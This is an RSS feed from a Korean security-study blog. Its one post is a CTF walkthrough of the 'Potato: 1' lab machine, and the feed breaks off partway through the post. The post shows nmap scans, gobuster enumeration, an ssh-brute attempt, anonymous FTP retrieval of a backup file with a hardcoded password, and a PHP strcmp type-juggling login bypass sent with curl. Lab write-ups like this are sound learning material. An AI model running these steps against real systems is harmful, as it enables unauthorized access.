<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>palantirops 님의 블로그</title>
    <link>https://palantirops.tistory.com/</link>
    <description>보안&amp;middot;인공지능 솔루션 개발을 목표로 공부 중입니다.
독서와 영어 학습을 통해 성장하는 과정을 기록합니다.</description>
    <language>ko</language>
    <pubDate>Tue, 2 Jun 2026 02:10:48 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>palantirops</managingEditor>
    <image>
      <title>palantirops 님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8472289/attach/27d2424cc2274f6980cda5c03487b28d</url>
      <link>https://palantirops.tistory.com</link>
    </image>
    <item>
      <title>[CTF potato] CTF Potato 플래그 찾기 및 과정</title>
      <link>https://palantirops.tistory.com/46</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 144705.png&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rDAP9/dJMcacQEfE7/PWwABW7jJx00pmZFRb8adk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rDAP9/dJMcacQEfE7/PWwABW7jJx00pmZFRb8adk/img.png&quot; data-alt=&quot;왼쪽 Potato로 진행합니다!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rDAP9/dJMcacQEfE7/PWwABW7jJx00pmZFRb8adk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrDAP9%2FdJMcacQEfE7%2FPWwABW7jJx00pmZFRb8adk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;854&quot; height=&quot;628&quot; data-filename=&quot;스크린샷 2026-05-15 144705.png&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;왼쪽 Potato로 진행합니다!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Potato: 1 CTF 워크스루&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1단계. 호스트 탐색&lt;/h2&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;nmap -sn 172.16.11.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-sn 옵션은 포트 스캔 없이 네트워크 대역에서 살아있는 호스트만 빠르게 찾는 ping scan이다. 전체 대역을 훑어서 타겟 머신의 IP를 특정하는 것이 첫 번째 목표이며, 결과적으로 &lt;b&gt;172.16.11.221&lt;/b&gt;이 Oracle VirtualBox NIC임을 확인하여 Potato 머신으로 특정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 145134.png&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eoetNv/dJMcafGDVJD/5dxG0K8QiHoveBzJ3PjjxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eoetNv/dJMcafGDVJD/5dxG0K8QiHoveBzJ3PjjxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eoetNv/dJMcafGDVJD/5dxG0K8QiHoveBzJ3PjjxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeoetNv%2FdJMcafGDVJD%2F5dxG0K8QiHoveBzJ3PjjxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;404&quot; data-filename=&quot;스크린샷 2026-05-15 145134.png&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 파이어폭스 172.16.11.221로 접속해본다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 145319.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXvfhq/dJMcaiXAS37/pN6tUKyHYP4WnA1EwuNwNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXvfhq/dJMcaiXAS37/pN6tUKyHYP4WnA1EwuNwNk/img.png&quot; data-alt=&quot;해당 페이지가 나온다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXvfhq/dJMcaiXAS37/pN6tUKyHYP4WnA1EwuNwNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXvfhq%2FdJMcaiXAS37%2FpN6tUKyHYP4WnA1EwuNwNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;435&quot; data-filename=&quot;스크린샷 2026-05-15 145319.png&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;해당 페이지가 나온다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2단계. 포트 및 서비스 스캔&lt;/h2&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;nmap -sV -sC -p- 172.16.11.221
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-sV는 버전 탐지, -sC는 기본 스크립트 실행, -p-는 전체 포트(1~65535) 스캔이다. 결과로 세 가지 서비스를 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포트 서비스 의미&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style15&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1&lt;/td&gt;
&lt;td&gt;SSH 접근 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;Apache 2.4.41&lt;/td&gt;
&lt;td&gt;웹 서버 존재&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;2112/tcp&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;ProFTPD&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;비표준 포트 FTP&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2112번 포트의 FTP는 기본 포트(21)가 아니므로 -p- 전체 스캔 없이는 발견하기 어렵다. 이후 공격의 핵심 진입점이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;----&amp;gt; 여기가 keypoint!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3단계. 웹 디렉터리 열거&lt;/h2&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;gobuster dir -u http://172.16.11.221 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버(80포트)에 숨겨진 경로를 워드리스트 기반으로 브루트포싱한다. 발견된 경로는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/admin (301 redirect) &amp;rarr; 로그인 페이지 존재&lt;/li&gt;
&lt;li&gt;/potato (301 redirect)&lt;/li&gt;
&lt;li&gt;/server-status (403 forbidden)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/admin 경로에서 로그인 폼을 발견했고, 이후 공격 방향을 여기로 집중했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 151018.png&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;788&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfR0uN/dJMcahka6fJ/3aoSwiy5li62oGjQs4cPE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfR0uN/dJMcahka6fJ/3aoSwiy5li62oGjQs4cPE1/img.png&quot; data-alt=&quot;하지만 아이디와 비번을 모른다!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfR0uN/dJMcahka6fJ/3aoSwiy5li62oGjQs4cPE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfR0uN%2FdJMcahka6fJ%2F3aoSwiy5li62oGjQs4cPE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;912&quot; height=&quot;788&quot; data-filename=&quot;스크린샷 2026-05-15 151018.png&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;788&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;하지만 아이디와 비번을 모른다!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4단계. SSH 브루트포스 시도 (실패)&lt;/h2&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;sudo nmap -vv --script=ssh-brute.nse -p 22 172.16.11.221
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH 크리덴셜을 워드리스트로 시도했으나 98%까지 진행해도 유효한 계정을 찾지 못했다. &lt;b&gt;이 단계는 실패&lt;/b&gt;했으며, 다른 공격 벡터를 찾아야 함을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;---&amp;gt; 해당 아이디와 비번을 워드리스트로 다 찾아내서 적합한 아이디와 비번을 찾아내는건데, 다른 사람들이 한거 보고 했지만 성공률이 조금씩 떨어지고 시간이 오래 걸려서 포기했다..&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5단계. FTP 익명 로그인 및 소스코드 획득&lt;/h2&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;ftp 172.16.11.221 2112
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;ProFTPD는 설정에 따라 anonymous 로그인을 허용하는 경우가 있다. 패스워드 없이 접속을 시도했더니 성공했다.&lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# FTP 접속 후
Name: anonymous
Password: (엔터)

ftp&amp;gt; ls -al
ftp&amp;gt; get index.php.bak
ftp&amp;gt; get welcome.msg
ftp&amp;gt; bye&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 151421.png&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;263&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qAHO7/dJMcahYJaPb/ZCkXqgrppK6cHktZuKxG6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qAHO7/dJMcahYJaPb/ZCkXqgrppK6cHktZuKxG6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qAHO7/dJMcahYJaPb/ZCkXqgrppK6cHktZuKxG6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqAHO7%2FdJMcahYJaPb%2FZCkXqgrppK6cHktZuKxG6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;779&quot; height=&quot;263&quot; data-filename=&quot;스크린샷 2026-05-15 151421.png&quot; data-origin-width=&quot;779&quot; data-origin-height=&quot;263&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 151615.png&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kEOYR/dJMcad23gwc/UlS0lKPTDEKgfwM7a7Qa30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kEOYR/dJMcad23gwc/UlS0lKPTDEKgfwM7a7Qa30/img.png&quot; data-alt=&quot;ftp로 접속 성공!! 가장 중요해보이는 두 파일이 보인다?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kEOYR/dJMcad23gwc/UlS0lKPTDEKgfwM7a7Qa30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkEOYR%2FdJMcad23gwc%2FUlS0lKPTDEKgfwM7a7Qa30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;144&quot; data-filename=&quot;스크린샷 2026-05-15 151615.png&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ftp로 접속 성공!! 가장 중요해보이는 두 파일이 보인다?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778833075325&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat index.php.bak&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.bak 확장자는 백업 파일로, 웹 서버에서는 실행되지 않고 소스코드가 그대로 노출된다. cat index.php.bak으로 내용을 확인하면 로그인 로직이 드러난다.&lt;/p&gt;
&lt;pre class=&quot;mel&quot;&gt;&lt;code&gt;$pass = &quot;potato&quot;; // Change this password regularly

if (strcmp($_POST['username'], &quot;admin&quot;) == 0 
    &amp;amp;&amp;amp; strcmp($_POST['password'], $pass) == 0) {
    // 로그인 성공
    setcookie('pass', $pass, time() + 365*24*3600);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-15 152152.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck5WsD/dJMcafGDWlT/vcKq3jQEgJgLXv3v1krnO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck5WsD/dJMcafGDWlT/vcKq3jQEgJgLXv3v1krnO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck5WsD/dJMcafGDWlT/vcKq3jQEgJgLXv3v1krnO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck5WsD%2FdJMcafGDWlT%2FvcKq3jQEgJgLXv3v1krnO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;374&quot; data-filename=&quot;스크린샷 2026-05-15 152152.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;중요한 폼값.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6BiAU/dJMcahdnjzO/RJhV95aLjz3Q2ad7X2lkL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6BiAU/dJMcahdnjzO/RJhV95aLjz3Q2ad7X2lkL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6BiAU/dJMcahdnjzO/RJhV95aLjz3Q2ad7X2lkL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6BiAU%2FdJMcahdnjzO%2FRJhV95aLjz3Q2ad7X2lkL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1078&quot; height=&quot;229&quot; data-filename=&quot;중요한 폼값.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드에서 두 가지를 알 수 있다. 첫째로 username은 admin으로 하드코딩되어 있다. 둘째로 password는 strcmp()로 비교하며 주석에 &quot;정기적으로 바꾼다&quot;고 명시되어 있어, 실제 서버의 비밀번호는 potato에서 변경된 상태임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 admin / potato로 로그인을 시도하면 실패한다. 유저의 아이디만 제대로 알 수 있다! 그건 &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;admin 그리고 form의 경로이다. index.php?login=1 이부분으로 다시 접속해보자 즉!&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;badlogin.png&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmAeDZ/dJMcajhVd5d/iwdQh1rKqnNjUE9qHKGOYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmAeDZ/dJMcajhVd5d/iwdQh1rKqnNjUE9qHKGOYk/img.png&quot; data-alt=&quot;주소를 잘봐보세요&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmAeDZ/dJMcajhVd5d/iwdQh1rKqnNjUE9qHKGOYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmAeDZ%2FdJMcajhVd5d%2FiwdQh1rKqnNjUE9qHKGOYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;238&quot; data-filename=&quot;badlogin.png&quot; data-origin-width=&quot;905&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;주소를 잘봐보세요&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6단계. /admin 하위 경로 추가 열거&lt;/h2&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;gobuster dir -u http://172.16.11.221/admin \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x .php,.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ffc1c8;&quot;&gt;-x 옵션으로 확장자를 지정해 PHP 파일까지 탐색한다. 발견된 경로는 다음과 같다.&lt;/span&gt;&lt;span style=&quot;color: #ffc1c8;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/admin/index.php (200)&lt;/li&gt;
&lt;li&gt;/admin/logs (301)&lt;/li&gt;
&lt;li&gt;/admin/dashboard.php (302 &amp;rarr; index.php로 리다이렉트)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;gobuster.png&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sBbKM/dJMcaaSRDoQ/Y2Zct9GCK1OW82QkIOurT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sBbKM/dJMcaaSRDoQ/Y2Zct9GCK1OW82QkIOurT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sBbKM/dJMcaaSRDoQ/Y2Zct9GCK1OW82QkIOurT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsBbKM%2FdJMcaaSRDoQ%2FY2Zct9GCK1OW82QkIOurT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;418&quot; data-filename=&quot;gobuster.png&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/admin/logs에 접속하면 패스워드가 변경된 이력이 로그로 남아있어, 현재 비밀번호는 알 수 없는 상태임을 재확인했다. 따라서 비밀번호를 알지 못해도 로그인을 우회하는 방법이 필요하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7단계. &lt;span style=&quot;color: #ef5369;&quot;&gt;PHP Type Juggling으로 로그인 우회&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드의 핵심 취약점은 strcmp()의 반환값을 == 0으로 느슨하게 비교한다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;취약점 원리:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PHP에서 strcmp()에 문자열 대신 &lt;b&gt;배열&lt;/b&gt;을 전달하면 NULL을 반환한다. 그리고 PHP의 느슨한 비교(==)에서 NULL == 0은 true로 평가된다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;strcmp([], &quot;potato&quot;) &amp;rarr; NULL
NULL == 0            &amp;rarr; true  &amp;larr; 로그인 우회 성공!
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 이용해 password 필드를 배열로 전송한다.&lt;/p&gt;
&lt;pre class=&quot;livescript&quot;&gt;&lt;code&gt;curl -X POST &quot;http://172.16.11.221/admin/index.php?login=1&quot; \
  -d &quot;username=admin&amp;amp;password[]=&quot; \
  -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password[]=는 PHP가 배열로 해석하도록 하는 문법이다. 응답 헤더에서 쿠키값을 획득한다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Set-Cookie: pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿠키를 이후 모든 요청에 사용하면 인증된 사용자로 접근할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;첫번째 curl.png&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;579&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ng2J7/dJMcaakZHZ5/B90JB5WhkfoDRXMJLq1WNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ng2J7/dJMcaakZHZ5/B90JB5WhkfoDRXMJLq1WNK/img.png&quot; data-alt=&quot;set-cookie에 값이 있습니다! 중요한 정보입니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ng2J7/dJMcaakZHZ5/B90JB5WhkfoDRXMJLq1WNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fng2J7%2FdJMcaakZHZ5%2FB90JB5WhkfoDRXMJLq1WNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;579&quot; data-filename=&quot;첫번째 curl.png&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;set-cookie에 값이 있습니다! 중요한 정보입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778833614403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl &quot;http://172.16.11.221/admin/dashboard.php&quot; \
--cookie &quot;pass=serdesfsefhijosefjtfgyuhjiosefdfthgyjh&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
